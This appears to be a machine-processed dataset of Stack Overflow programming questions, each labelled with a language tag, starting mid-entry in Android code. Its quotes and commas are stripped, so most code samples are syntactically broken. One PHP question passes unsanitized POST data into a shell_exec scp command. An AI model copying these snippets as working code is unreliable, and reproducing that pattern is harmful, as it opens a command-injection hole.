     if (alertmissing) {             showdialog(dialog_files_missing);         }         if (ev_ids.length &lt; 1) {             return;         }         easytracker.gettracker().trackevent(tag   upload_selected      + ev_ids.length +   items    1);         uploadmanagerservice.startuploader(this  uploaderaction.op_queue_upload  1  ev_ids);          uploadbutton.setenabled(true);         madapter.markidsasdisabled(origarr);      }      private void onloginresult(int resultcode  intent data) {         easytracker.gettracker().trackevent(tag   login    on   (resultcode == result_ok)   1 : 0);         if (resultcode == result_ok) {              douploadselected();                  } else {             try {                 dismissdialog(dialog_loading);             } catch (exception e) {}             uploadbutton.setenabled(true);             toast.maketext(mcontext  getstring(r.string.alert_cannot_upload_without_internet)   toast.length_long).show();         }     }      @override     protected void onactivityresult(int requestcode  int resultcode  intent data) {                         log.d(tag   onactivityresult );          switch (requestcode) {             case action_login:                 onloginresult(resultcode  data);                 return;             case action_enter_pin:                 if (resultcode != activity.result_ok) {                                      finish();//throw error message                  }                 return;             case action_bulk_edit:                 if (resultcode == result_ok) {                     uncheckall();                 }                 return;             case action_import_audio:             case action_import_video:             case action_import_photo:                 onimportresult(requestcode  resultcode  data);                 return;                             default:                 super.onactivityresult(requestcode  resultcode  data);         }     }      private void onimportresult(int requestcode  int resultcode  intent intent) {          importaction action = importaction.import_photo;         if (requestcode == action_import_audio) {             action = importaction.import_audio;         } else if (requestcode == action_import_video) {             action = importaction.import_video;         }         easytracker.gettracker().trackevent(tag   import   action.tostring()  resultcode == result_ok   1 : 0);         if (resultcode == result_ok) {             evidence ev = mevidencemanager.importevidence(this  intent  action);             if (ev != null) {                 launchevidencelistactivity(null);                 backupservice.start(this  backupservice.op_data_changed);             }         }     }       public void showtabsorbuttons(boolean hascheckeditems) {                 if (hascheckeditems) {             tabbuttonbar.setvisibility(view.invisible);             actionbuttonbar.setvisibility(view.visible);              if (mdata.equals(localevidence.content_uploaded_uri)) {                 actionbuttonbar.findviewbyid(r.id.uploadevidencebutton).setvisibility(view.gone);                 actionbuttonbar.findviewbyid(r.id.bulkeditevidencebutton).setvisibility(view.gone);             } else {                 actionbuttonbar.findviewbyid(r.id.uploadevidencebutton).setvisibility(view.visible);             }         } else {             actionbuttonbar.setvisibility(view.gone);             tabbuttonbar.setvisibility(view.visible);         }     }      public void changeview(int id) {         uri newuri = null;         string newtitle =   ;         if (id == r.id.evidencelistalltabbutton) {             newuri = localevidence.content_uri;             newtitle = getstring(r.string.tab_all_pending_upload);             easytracker.gettracker().trackevent(tag   switched_tab    all   1);         } else if (id == r.id.evidencelistaudiotabbutton) {             newuri = localevidence.content_audio_uri;             newtitle = getstring(r.string.tab_audio_pending_upload);             easytracker.gettracker().trackevent(tag   switched_tab    audio   1);         } else if (id == r.id.evidencelistphototabbutton) {             newuri = localevidence.content_photo_uri;             newtitle = getstring(r.string.tab_photos_pending_upload);             easytracker.gettracker().trackevent(tag   switched_tab    photos   1);         } else if (id == r.id.evidencelistvideotabbutton) {             newuri = localevidence.content_video_uri;             newtitle = getstring(r.string.tab_video_pending_upload);             easytracker.gettracker().trackevent(tag   switched_tab    videos   1);         } else if (id == r.id.evidencelistuploadtabbutton) {             newuri = localevidence.content_uploaded_uri;             newtitle = getstring(r.string.tab_all_uploaded);             easytracker.gettracker().trackevent(tag   switched_tab    uploaded   1);         }          //only change something if its a different view         if (!mdata.equals(newuri) &amp;&amp; newuri != null) {             mdata = newuri;             changecursor();             setactivebutton();             mtitleview.settext(newtitle);         }     }     public void changeview(view button) {         changeview(button.getid());     }  } </code></pre>,android
riddle: when are three equal dates not equal  start with three variables  all are system.datetime.   <pre><code>a: 10/2/2009 2:30:00 pm b: 10/2/2009 2:30:00 pm c: 10/2/2009 2:30:00 pm </code></pre>   compare them to each other.   <pre><code>a=b: true b=c: true c=a: true </code></pre>   ok  we have established that all three dates are equal. so when we convert them all to universal time  we will get the same result. right    <pre><code>a.touniversaltime: 10/2/2009 9:30:00 pm b.touniversaltime: 10/2/2009 9:30:00 pm c.touniversaltime: 10/2/2009 2:30:00 pm </code></pre>   so what happened,.net
how to convert the save data to jtable in other class  i would like to output the information which was inserted in my software class which is :   <pre><code>public class softwareproducts extends jpanel implements actionlistener   jtextfield ramtf; jtextfield processortf; jtextfield productidtf; jtextfield productnametf; jtextfield productyeartf; jtextfield productpublishhousetf;  //jtextfield ram; jbutton completeorder;  jlabel ramlb;  jlabel processorlb; jlabel productidlb; jlabel productnamelb;  jlabel productyearlb; jlabel publishhouselb;   jpanel softwarepanel;  cardlayout c2 = new cardlayout();  gridbaglayout gridbag;  gridbagconstraints c;   completeorder completeorder; public static void main(string [] args){      new softwareproducts();     jframe f = new jframe();     f.setdefaultcloseoperation(jframe.exit_on_close);     f.getcontentpane().add(new softwareproducts());       //jframe f = new jframe();     }   /* public void addcomponent(component comp         int gx int gy int t int l int b int r)   {     c.gridx=gx;     c.gridy=gy;     c.insets=new insets(t l b r);     gridbag.setconstraints(comp c);     add(comp);   } */    public softwareproducts() {        //getcontentpane().setbackground(color.blue);       //gridbagconstraints constraints = new gridbagconstraints();       //gridbaglayout layout = new gridbaglayout();     setsize(500 300);     gridbag = new gridbaglayout();     c = new gridbagconstraints();     setlayout(gridbag);       c.anchor = gridbagconstraints.west;     c.gridy = 0;      ramlb = new jlabel( ram: );     add(ramlb  c);      ramtf = new jtextfield(10);     add(ramtf  c);      c.gridy = 1;       processorlb = new jlabel( process: );     add(processorlb  c);      processortf = new jtextfield(10);     add(processortf  c);       c.gridy = 2;       productidlb = new jlabel( product id: );     add(productidlb  c);      productidtf = new jtextfield(10);     add(productidtf  c);      c.gridy = 3;       productnamelb = new jlabel( product name: );     add(productnamelb  c);      productnametf = new jtextfield(10);     add(productnametf  c);      c.gridy = 4;      productyearlb = new jlabel( product year: );     add(productyearlb  c);      productyeartf = new jtextfield(10);     add(productyeartf  c);      c.gridy = 5;      publishhouselb = new jlabel( publish house: );     add(publishhouselb  c);      productpublishhousetf = new jtextfield(10);     add(productpublishhousetf  c);      /*     ramlb = new jlabel( ram: );     processorlb = new jlabel( processor: );      productidlb = new jlabel( product id: );     productnamelb = new jlabel( product name: );     productyearlb = new jlabel( product year: );     publishhouselb = new jlabel( publish house: );     //ramtf.seteditable(false);     ramtf = new jtextfield(15);     //add(ramtf);     processortf = new jtextfield(15);     productidtf = new jtextfield(10);     productnametf = new jtextfield(10);     productyeartf = new jtextfield(10);     productpublishhousetf = new jtextfield(10);       c.fill=gridbagconstraints.horizontal;     addcomponent(ramtf 1 0 0 0 0 0);     addcomponent(ramlb 0 0 0 0 0 0);     addcomponent(processortf 1 1 0 0 0 0);     addcomponent(processorlb 0 1 0 0 0 0);     addcomponent(productidtf 1 2 0 0 0 0);     addcomponent(productidlb 0 2 0 0 0 0);     addcomponent(productnametf 1 3 0 0 0 0);     addcomponent(productnamelb 0 3 0 0 0 0);     addcomponent(productyeartf 1 4 0 0 0 0);     addcomponent(productyearlb 0 4 0 0 0 0);     addcomponent(productpublishhousetf 1 5 0 0 0 0);     addcomponent(publishhouselb 0 5 0 0 0 0);*/     //addcomponent(completeorder 1 6 0 0 0 0);      //ramtf.addactionlistener(this);         //ramtf.setbounds(0 0 130 150);      //add(processorlb);            //processortf = new jtextfield(15);     //processortf.addactionlistener(this);      //add(processortf);      //add(productidlb);        //productidtf.addactionlistener(this);        //add(productidtf);      //add(productnamelb);      //add(productnamelb);      //productnametf.addactionlistener(this);     // add(productnametf);      //add(productyearlb);      //productyeartf.addactionlistener(this);     // add(productyeartf);      //add(publishhouselb);        //productpublishhousetf.addactionlistener(this);      //add(productpublishhousetf);        completeorder = new jbutton( completeorder );     completeorder.setsize(35 40);     //completeorder.setlocation(200 140);     completeorder.addactionlistener(this);     add(completeorder);          //softwarepanel = new jpanel();     //softwarepanel.setborder(new emptyborder(5  5  5  5));        //softwarepanel = new jpanel(new flowlayout());     //softwarepanel.add(ramlb);         //softwarepanel = setbackground(color.blue);     //softwarepanel.setlayout(c2);          completeorder = new completeorder();       //softwarepanel.add(new jpanel()  empty );       //softwarepanel.add(completeorder  completeorder );           //this.add(softwarepanel);         //submit = new press();        //softwarepanel.add(submit  submit );         //add(softwarepanel);         this.setvisible(true); }   public void actionperformed(actionevent e)  {       if(e.getsource() == completeorder)     {          //ramtf.removeallelements();;          //c2.show(softwarepanel  completeorder );            float ram = float.parsefloat(ramtf.gettext());          float processor = float.parsefloat(processortf.gettext());          int productid = integer.parseint(productidtf.gettext());          string productname = productnametf.gettext();         int productyear = integer.parseint(productyeartf.gettext());         string productpublishhouse = productpublishhousetf.gettext();           main.softwarelist.add(new software(productid productname productyear productpublishhouse));          ramtf.settext(  );       //processortf.settext(  );         system.out.println( saved );      }  } } </code></pre>   and show them in other class in jtable that what i was told to put all the information that was entered to and save them in jtable which is my complete order class which is :   <pre><code>  import javax.swing.*;   import java.awt.*;   import java.awt.event.*;   import java.util.*;   import java.io.*;   public class customerorder extends jpanel implements actionlistener    {  //jbutton asd = new jbutton( button ); //jtextfield productid; //jtextfield productname; //jtextfield productcost; //jtextfield productpyear; //jtextfield productphouse;  jbutton showorder;   defaultlistmodel&lt;string&gt; model = new defaultlistmodel&lt;&gt;(); jlist orderlist = new jlist(model);       public customerorder() {      //super();     // jlabel tolabel=new jlabel( product id:  );     //jtextfield to=new jtextfield();       setlayout(new flowlayout());     //productid = new jtextfield(12);     //add(productid);      /*jpanel productpanel = new jpanel();     jlabel productidlabel = new jlabel( product id: );     jlabel productnamelabel = new jlabel( product name: );     jlabel productcostlabel = new jlabel( product cost: );     jlabel productpublicationyearlabel = new jlabel( product publication year: );     jlabel productpublicationhouselabel = new jlabel( product publicationhouse: );      productpanel.add(productidlabel);     productpanel.add(productid);     productpanel.add(productnamelabel);     productpanel.add(productname);     productpanel.add(productcostlabel);     productpanel.add(productcost);     productpanel.add(productpublicationyearlabel);     productpanel.add(productpyear);     productpanel.add(productpublicationhouselabel);     productpanel.add(productphouse);      */     // setcontentpane(productpanel);       //add(orderlist);        /*      productname = new jtextfield(12);     add(productname);      productcost = new jtextfield(12);     add(productcost);      productpyear = new jtextfield(12);     add(productpyear);       productphouse = new jtextfield(12);     add(productphouse);      */     showorder = new jbutton( show order );     showorder.setsize(25 40);     showorder.addactionlistener(this);     add(showorder);       //add(model);     add(orderlist);    }   public void actionperformed(actionevent e)  {     if(e.getsource() == showorder)     {          model.removeallelements();           int x = 0;          while (x &lt; main.softwarelist.size())         {             //./model.addelement(main.softwarelist.get(x).getproductyear());              model.addelement(  + main.softwarelist.get(x).getram());              model.addelement(  + main.softwarelist.get(x).getprocessor());              model.addelement(  + main.softwarelist.get(x).getproductid());               model.addelement(main.softwarelist.get(x).getproductname());              model.addelement(  + main.softwarelist.get(x).getproductyear());              model.addelement(main.softwarelist.get(x).getproductpublishhouse());             //model.addelement(main.softwarelist.get(x).getproductid());                x++;            //system.out.println( as );           }      }  } } </code></pre>   so i am really looking to solve it  thanks in advance.,java
.net object initializers question  i d like to have a convenient way to add phone objects to a phone collection. is there some sort of object initializer syntax that i can use to avoid the following custom routine     i am using .net 3.5   <pre><code> private function phonenumberstocollection(byval paramarray phonenumberarray() as telephonenumbertype) as telephonenumbercollection          dim phonecollection as new telephonenumbercollection          for each phonenumber as telephonenumbertype in phonenumberarray             if phonenumber isnot nothing then                 phonecollection.add(phonenumber)             end if         next          return phonecollection      end function </code></pre>   edit:   <pre><code>public class telephonenumbercollection     inherits system.collections.objectmodel.collection(of telephonenumbertype) </code></pre>,.net
jquery nth-child exclude other elements  i have some floated div s and i want to select the third with jquery. also  after each 3 elements i have a hr tag in my html and this hr is also included by jquery in the nth-child count. can i select only the divs and exclude the other elements inserted in html     this is my code   <pre><code>$( .col:nth-child(3n) ).addclass( third ); </code></pre>   thank you!,jquery
credit card gateway  - api  price  we are looking for credit card gateway for our new project. there is mess out there  all just try to cut you in pieces. everytime i talk to them they have different rate and every time they update quote they have some price changed.    <strong>we are having this project in .net  c#  asp.net.</strong>    <strong>so considering above this what could be the best gateway option for us </strong>    how much is usual rate for large number of processing(around 2000 transaction a day)    any insight is helpful.,.net
report viewer problems  i have an error how to fix this thanks in advance:) the datasource1 shows overload resolution failed because no accessible  new  is more specific for there arguments.   <pre><code>    reportviewer1.visible = true      dim thisdataset as new dataset()      dim adapcategory as datasetparametertableadapters.mcategorytableadapter = new datasetparametertableadapters.mcategorytableadapter     dim ds as datasetparameter.mcategorydatatable = new datasetparameter.mcategorydatatable()     adapcategory.fill(ds  me.dropdownlist1.selectedvalue)      dim datasource1 as new reportdatasource( datasetparameter_mcategory   ds)     reportviewer1.localreport.datasources.clear()     reportviewer1.localreport.datasources.add(datasource1)      reportviewer1.localreport.refresh() </code></pre>,asp.net
writing an object value in java  hello i have question to my small program how i can print the value of <code>p1</code>  when i am using <code>p1.tostring()</code> method this still shows me the address of an object i was searching in google some other ways and i still don t know how to do this. here is the code:   <pre><code>public class boss { string name;  public boss(string input) { // this is the constructor     name =  our boss is also known as :   + input; }  public static void main(string args[]) {     boss p1 = new boss( super-man );      system.out.println(p1.tostring()); } </code></pre>,java
regex to allow only numbers and comma in c#  i am using regex ismatch method to check that string contains only numbers and comma and accept below two types    ex-> 123 456  accepted    ex-> 123 456  accepted    i am using below regex but it does not works it pass string with alphabets too   <pre><code>[0-9]+( [0-9]+)*   </code></pre>   can anyone help me,c#
mysql grouping by two columns  i have a table that lists charges against an order and also an id of the invoice associated with the order.    orderid  financialtype  invoiceid    i am looking to get all orders that have a financialtype= 17  but have different invoiceids    an example table:   <pre><code>orderid     financialtype       invoiceid 123000      10                  null 123000      17                  900 123000      17                  901 123111      17                  902 123111      17                  902 123222      10                  null 123333      17                  900 123444      17                  900 123444      17                  901 123444      17                  902 </code></pre>   in this case i am interested in 123000 (invoiced on 2 different invoices) and 123444 (invoiced 3 times).    my current query is:   <pre><code>select orderid  count(*) as freq from orders where financialtype= 17  group by orderid  invoiceid having freq &gt; 1 order by freq desc </code></pre>   but this is giving me the total number of times each order was charged  not the number of times it was charged on <em>different</em> invoices. in my example i don t care about 123111 - this was charged twice but on the same invoice  this is fine.     i would hope to see:   <pre><code>orderid  freq 123000  2 123444  3 </code></pre>,mysql
add new fieds in json array  i would like to update a json object    let s say that my json object is (the variable is for testing purpose  in reality i receive json from api)   <pre><code>var json = [     {         user:  value1           country:  value2           name:  value3      } ] </code></pre>   now with javascript or jquery  i want to add for example the following fields   <pre><code>firstname:  value   </code></pre>   so my final json should be    <pre><code>[     {         user:  value1            country:  value2            name:  value3            firstname:  value      } ] </code></pre>   i ve tried everything found in stack overflow   <pre><code>json[ firstname ] =  value  </code></pre>   or   <pre><code>jquery.extend  </code></pre>   or   <pre><code>json.push  </code></pre>   but this doesnt update my json variable or put me data outsier the ()    any suggestion,javascript
time conversion based on country_name/country_code  i ve been trying to get my head around this problem but even after doing lot of research i wasn t able to get a proper solution.    i m trying to build a flight booking system. i ve have an api which returns me the arrival and departure time of flights in utc time. now i want to show the departure and arrival time of the flight in the local time of that country. is there any faster way to do this. so far i have got this thing working which seems quite heavy. i m writing some sample code below.   <pre><code>&lt;% flights.each do |flight| %&gt;   &lt;% time_zone_name = tzinfo::country.get(flight.departure_country_code).zone_names.first %&gt;   &lt;% time_zone = tzinfo::timezone.get( time_zone_name ) %&gt;   departure_time : &lt;%= time_zone.utc_to_local(flight.departure_time) %&gt; &lt;% end %&gt; </code></pre>,ruby-on-rails
populate drop down box with numbers  i m trying to do something seemingly simple. i am trying to populate a drop down box with the numbers 1-5.  when ever i run the page  my drop down box is blank.    any help  thanks!    here is the code:   <pre><code>    var maxallowed = [0 1 2 3 4 5];     for (var i = 0; i &lt; maxallowed.length; i++) {         $( #attemptsddl ).append($( option /&gt; ).val(i).html(i));     } </code></pre>,jquery
how do i manage multiple processes in python   i have a simple (i hope) question: my problems started when i wrote a gui. i cannot refresh the user interface while executing heavy computations.    -if i use threads there is the g.i.l. (not too slow but the gui freezes)    i tryed so many things that my last hope is starting a new process (and here the problem)    first of all: -i never used processes before (it could be a semantic error)    -i don t know the limitations ( and exceptions ) of processes    -i am running with cpython 3.1.2   on mac os x v 10.6.8    here is an example (not the real code but the result is the same) of what i need to solve:   <pre><code>from multiprocessing import * def bob(q):     print(q) a=process(target=bob args=( something )) a.start() a.is_alive() a.join() </code></pre>   and the output is:   <pre><code>true </code></pre>   it doesn t print  something  so i guess it doesn t run the process but  a.is_alive()  says it is running and when the interpreter arrives to  a.join()  it waits more or less forever    can someone explain me this,python
attaching image in the body of mail in c#  how can i attach an image in the body content . i have written the below code   <pre><code>system.net.mail.mailmessage message = new system.net.mail.mailmessage(); string username =  xyz@someorg.com ; string password =  my password ; message.to.add(new system.net.mail.mailaddress( toaddress@toadddress.com )); message.from = new  system.net.mail.mailaddress( fromaddress@fromaddress.com );               message.subject =  test subject ; message.body =  &lt;img src=@ c:\\sunset.jpg /&gt; ;                 message.isbodyhtml = true; system.net.mail.smtpclient smtpclient = new system.net.mail.smtpclient();  smtpclient.host =  hostname ;  smtpclient.port = 25;  smtpclient.credentials = new system.net.networkcredential(username  password);  smtpclient.send(message); </code></pre>   the code is fine as i am receiving the message also but the image is coming as [x] inside the body and not as the image.  how to solve this  the path is correct,c#
find number of days between two given dates  suppose:     <blockquote>    1bhk   flat   200rupee maintainance        2bhk flat 400rupee maintainance charges   </blockquote>   suppose  1 bhk user pays the  amount in a given date.    but if user does not pay the amount in the given date then automatically add  20% extra charge on to the basic amount.      is it possible to implement this in objective c,objective-c
how to implement abaddressbookregisterexternalchangecallback  i am currently trying to implement an addressbook feature for my app.     i need a method to update my core data when user edits/add/delete contacts.     i read about abaddressbookregisterexternalchangecallback function that could help register a callback  however i do not know how to implement this. for example: <a href= http://www.iappnow.com/2011/08/21/abaddressbookregisterexternalchangecallback-works-but-data-is-stale/  rel= nofollow >http://www.iappnow.com/2011/08/21/abaddressbookregisterexternalchangecallback-works-but-data-is-stale/</a>    im still new to objective c programming  can anyone provide a link or sample on how to implement it     thanks in advance!,ios
converting from int to enum  i have declared the following enum :   <pre><code>  enum periods {one  five  ten  fifteen  thirty}; </code></pre>   and now i want to pass it as a commandline argument in my main function.    <pre><code>int main(int argc  char* argv[]) {    periods mp;   if (argc == 2) {       std::string min_prd(argv[2]);       mp=atoi(min_prd.c_str());  } </code></pre>   and the compiler complains:   <pre><code>error: invalid conversion from ‘int’ to ‘periods’ </code></pre>   i did atoi() because i figured enum is an int - how do i fix my code,c++
can anyone tell me what is the main difference between @using and @model in mvc in view  what is required when  i am new to asp.net and mvc as such . the one thing that keeps confusing me is that we use @using and @model in our views sometimes   i need more clarity on what is required when and why.,asp.net
rails query unique items  i have a search bar which works fine but it produces a duplicate every time it shows the correct result.     <pre><code>if params[:nav_search]    @art = art.where([ style_number like   or name like      %#{params[:nav_search]}%    %#{params[:nav_search]}% ]).page(params[:page]).per_page(18) end </code></pre>   any clue where i m going wrong,ruby-on-rails
file copy progress session data is null  am trying to get progress of all the files being copied.    <pre><code>    $qrystr = explode(    $_post[ data ]); $timestamp=$_post[ timestamp ]; $size=sizeof($qrystr); //echo $size; $offset=100/$size; $progress=0; $_session[$timestamp]=$progress; session_start(); foreach($qrystr as $value) {      $src = $value;     $dest =  ../home/tmp/ ;      $cmd =  scp  .$src.   .$dest.  ;     sleep(1);     $progress+=$offset;     $_session[$timestamp] = ceil($progress);     var_dump($_session[$timestamp]);     $result = shell_exec($cmd);  } </code></pre>   code to get progress stored in session   <pre><code>    session_start();      var_dump($_session[ timestamp ]);      getprogress($_get[ timestamp ]);      function getprogress($timestamp) {         if (isset($_session[$timestamp])) {         echo json_encode(array( progress  =&gt; $_session[$timestamp]));       } else {       echo json_encode(array( progress  =&gt; -1));   }  } </code></pre>   when i try to accesss the session data   am getting it as null. any problem in my script.,php
how to send sms from desktop application  can anybody tell me that how a message will send on phone from a desktop application. i have a module in which i have to send sms to my user s mobile i do not how it is possible can anybody tell how this is possible,c#
get number of elements within a number of the same elements  i hope i can word this okay.    i have multiple divs all called  .collapse-conten  and within each of these i have a table called  .collapsetable . what i would like to do is check the number of rows within each table.    i have this code right now...    var num = $( .collapse-content tr ).size(); alert(num);     this obviously returns all rows in the page and the number of rows per div named  .collapse-content     can someone please help with this.    many thanks  cj,jquery
how to add dependencies to the paperclip gem file  the error occured while trying  rails g paperclip photo data  is:  make sure all dependencies are added to gemfile. (gem::loaderror)    using rails 3.0.3    my gem file:   <pre><code>source  https://rubygems.org  gem  rails    3.2.0.rc2  # bundle edge rails instead: # gem  rails   :git =&gt;  git://github.com/rails/rails.git  gem  sqlite3  # gems used only for assets and not required # in production environments by default. group :assets do gem  sass-rails      ~&gt; 3.2.3  gem  coffee-rails    ~&gt; 3.2.0  gem  uglifier    &gt;= 1.0.3  end  gem  jquery-rails   gem  paperclip    2.3.3    # to use activemodel has_secure_password # gem  bcrypt-ruby    ~&gt; 3.0.0   # to use jbuilder templates for json # gem  jbuilder   # use unicorn as the web server # gem  unicorn   # deploy with capistrano # gem  capistrano   # to use debugger # gem  ruby-debug19   :require =&gt;  ruby-debug  </code></pre>,ruby-on-rails
what happens in public node head=null; while implementing linked lists with java  <pre><code>  public class node {         public int data;         public node next;         public node(){             data=0;             next=null;         }         public node(int x){             data=x;             next=null;         }     } </code></pre>   the above code is the class node  where it contains <code>data</code> and <code>next</code> variables. using this class observe the following code:   <pre><code>public class singlylinkedlist { public node head=null; public  void insert_at_head(int x){     node newnode=new node(x);     if(head==null){         head=newnode;     }     else{         newnode.next=head;         head=newnode;     } } </code></pre>   at line 2 head of type node is initialized to <code>null</code>. what is actually happening here  is it equal to initializing <code>head.data</code> and <code>head.next</code> to <code>null</code>,java
best way to replace image buttons in jquery  below i have an image button:   <pre><code>&lt;table id= question &gt; &lt;tr&gt; &lt;td colspan= 2 &gt; &lt;a onclick= return plusbutton(); &gt; &lt;img src= images/plussign.jpg  width= 30  height= 30  alt= look up previous question  class= plusimage  id= mainplusbutton  name= plusbuttonrow /&gt; &lt;/a&gt; &lt;span id= plussignmsg &gt;(click plus sign to look up previous questions)&lt;/span&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>   now what i want to do is by using jquery i want to hide the current image <code>images/plussign.jpg</code> and replace with another image <code>images/plussigndisabled.jpg</code> in the if statement below:   <pre><code>if (qnum == &lt; php echo (int)$_session[ textquestion ];  &gt;) {  } </code></pre>   and then in the document ready function i want it to replace the <code>images/plussigndisabled.jpg</code> with <code>images/plussign.jpg</code>    i want to know what is the best way to achieve this in jquery     update:    below is what i tried:   <pre><code>var x =  &lt;img src= images/plussigndisabled.jpg  width= 30  height= 30  alt= look up previous question  class= plusimage  name= plusbuttonrow /&gt;&lt;span id= plussignmsg &gt;(click plus sign to look &lt;br/&gt; up previous questions)&lt;/span&gt;  ;      if (qnum == &lt; php echo (int)$_session[ textquestion ];  &gt;) {        $( #plus th ).html($(x));           $( #showgridid ).unbind( click ).click(function (event) {         event.preventdefault();         return false;     }).css( color    #bbbbbb ); } </code></pre>   thanks,jquery
how to display and properly indent a tree structure of a single node   the db structure is as follows:   <pre><code>    cat_id| cat_name    | cat_nicename  | lft | rgt      _________________________________________________     287   | wallpapers  |  wallpapers   | 61  | 62     1656  | gadget      |  gadget       | 63  | 64     1958  | sms         |  sms          | 65  | 66     2901  | fun         |  fun          | 67  | 68     4419  | joke        |  joke         | 69  | 70     4775  | health      |  health       | 71  | 72     5098  | mobile      |  mobile       | 73  | 90     5100  | tv          |  tv           | 91  | 92     5101  | main        |  main         | 93  | 94     5102  | nokia       |  nokia        | 76  | 83     5103  | samsung     |  samsung      | 84  | 87     5104  | micromax    |  micromax     | 88  | 89     5105  | nokia sub 1 |  nokiasub1    | 77  | 78     5106  | nokia sub 2 |  nokiasub2    | 79  | 82     5107  | nokia sub 3 |  nokiasub3    | 80  | 81     5109  | galaxy      |  galaxy       | 85  | 86 </code></pre>   the folloing query i am using to get one category and all it s subcats:   <pre><code>$sql =  select n.cat_id n.cat_name n.cat_nicename  (count(*)-1)  as depth from   .tbl_categories.   as n    .tbl_categories.   as p   where p.cat_nicename= mobile   and n.lft between p.lft and p.rgt  group by n.lft order by n.lft; ;  $result = mysql_query($sql);  $tree = array(); while ($row = mysql_fetch_assoc($result)) {   $tree[] = $row; }  function _tab($depth) {     $tabs =   ;     while ($depth-- &gt; 0) $tabs .=  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;     return $tabs; }  // bootstrap loop $result =   ; while (!empty($tree)) {     $currnode = array_shift($tree);     $result .= _tab($currnode[ depth ]) . $currnode[ cat_name ] . $currnode[ depth ]. &lt;br /&gt; ; }  print $result; </code></pre>   if i do not use <code>p.cat_nicename= mobile </code>  by the above code  tree structure displays perfect  but if i want to retrieve just one node by using <code>p.cat_nicename= mobile </code> all the depth i am getting is <code> 0 </code> hence it is not putting any <code>&amp;nbsp;</code> and displaying flat tree under <code> mobile </code>.. if i query just <code> mobile </code> it should display like:   <pre><code>mobile     nokia         nokia sub 1         nokia sub 2             nokia sub 3     samsung         galaxy     micromax </code></pre>   so my questions are:   <ol> <li><strong>how can i display tree of a particular node </strong></li> <li><strong>how can i display just all the root categories only  no childs no sub  by using single sql query </strong></li> </ol>,php
php5 object-oriented programming operators <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2588149/what-is-the-php-operator-called-and-how-do-you-say-it-when-reading-code-out >what is the “-&gt;” php operator called and how do you say it when reading code out loud </a><br>   <a href= https://stackoverflow.com/questions/3737139/reference-what-does-this-symbol-mean-in-php >reference - what does this symbol mean in php </a>    </blockquote>     what is the name of the sign <code>-&gt;</code> in php5,php
cant reverse javascript simple diff  im using _ to do a simple diff in javascript. i have 2 objects that are the same until someone changes a text field  then there is the old object and the new object. (im trying to create an audit log to keep track of any fields that are changed).    here is my code so far.   <pre><code>var o1 = $scope.historicsite      o2 = $scope.newsite;  var old_value = _.omit(o1  function(v  k) {     return o2[k] === v; });  console.log( old value :   old_value); </code></pre>   this is working fine and for example if i change only the  site name  field i get back   <pre><code>{site_name:  old value } </code></pre>   from the function.    i am needing to get both the old value (which i get above) and the new value so i can store them  ive tried flipping the o1 and o2 variables but it just returns the whole object! is the away to reverse this so i can get the new value as well as the old     thank you,javascript
stack copy constructor using array  i have a copy constructor that isn t working right. i believe my logic is wrong but i dont know where and why. my code and my output is down below.    member functions:   <pre><code>    stack300::stack300(): max_stack(3) {     stackarray = new(std::nothrow) element300[max_stack];     if(stackarray == null)     {         cerr &lt;&lt;  there is not enough memory for this stack. this stack will not be implemented correctly.  &lt;&lt; endl;     }     else     {     top = -1;     } }  stack300::stack300(const int size):max_stack(size) {     stackarray = new element300[max_stack];     top = -1; }  stack300::stack300(stack300&amp; old):max_stack(old.max_stack) {     stack300 tempstack;     stackarray = new (std::nothrow)element300[old.max_stack];     top = -1;     element300 temp;     while(!old.isempty()){         temp = old.pop300();         tempstack.push300(temp);     }      while(!tempstack.isempty()){         temp = tempstack.pop300();         push300(temp);          old.push300(temp);      } } stack300::~stack300() {     element300 tempvalue;      while(!isempty())     {         tempvalue = pop300();     }      if(isempty())     {         delete [] stackarray;     } }  void stack300::push300(const element300 number) {     if(isfull())     {         cerr &lt;&lt;  the stack is full.  &lt;&lt; endl &lt;&lt;  the push was unsuccessful  &lt;&lt; endl;     }     else     {         top++;         stackarray[top] = number;     }     return; } element300 stack300::pop300() {     element300 number = 0.0;      if(isempty())     {         cerr &lt;&lt;  the stack is empty  &lt;&lt; endl &lt;&lt;  the pop was unsuccessful  &lt;&lt; endl;         return 0.0;     }     else     {         number = stackarray[top];         top--;         return number;     } }  void stack300::viewtb300() {     stack300 tempstack(max_stack);     element300 tempvalue;      while(!isempty())     {         tempvalue = pop300();         tempstack.push300(tempvalue);         cout &lt;&lt; tempvalue &lt;&lt; endl;     }     while(!tempstack.isempty())     {         tempvalue = tempstack.pop300();         push300(tempvalue);     }      return; }  void stack300::viewbt300() {     stack300 tempstack(max_stack);     element300 tempvalue;      while(!isempty())     {         tempvalue = pop300();         tempstack.push300(tempvalue);     }     while(!tempstack.isempty())     {         tempvalue = tempstack.pop300();         cout &lt;&lt; tempvalue &lt;&lt; endl;         push300(tempvalue);     }      return;  }  bool stack300::isfull() {     bool status;      if(top == max_stack - 1)         {             status = true;         }     else     {         status = false;     }      return status; }  bool stack300::isempty() {     bool status;      if(top == - 1)     {         status = true;     }     else     {         status = false;     }      return status; } </code></pre>   my driver:   <pre><code>    using namespace std;  int main () {     stack300 stack1(6);     stack1.push300(100);     stack1.push300(200);     stack1.push300(300);     stack1.push300(400);     stack1.push300(500);     stack1.push300(600);       stack300 stack6(stack1);     stack6.viewtb300();      return 0; } </code></pre>   my current output:   <pre><code>    the stack is full. the push was unsuccessful the stack is full. the push was unsuccessful the stack is full. the push was unsuccessful 600 500 400 </code></pre>   please let me know if i need anything else to this post so that it can help you answer this question.     thanks!,c++
three tiers of equality comparison in python  in the book <em>mastering object-oriented python</em>  it says<br> <em>there are three tiers of equality comparison:<br> • same hash value: this means that two objects could be equal. the hash value provides us with a quick check for likely equality. if the hash value is different  the two objects cannot possibly be equal  nor can they be the same object.<br> • compare as equal: this means that the hash values must also have been equal. this is the definition of the == operator. the objects may be the same object.<br> • same idd: this means that they are the same object. they also compare as equal and will have the same hash value. this is the definition of the is operator.</em>    i can understand the second and third  but i really don t understand the first. is the first and second the same. can anybody shed some light on this  thanks!,python
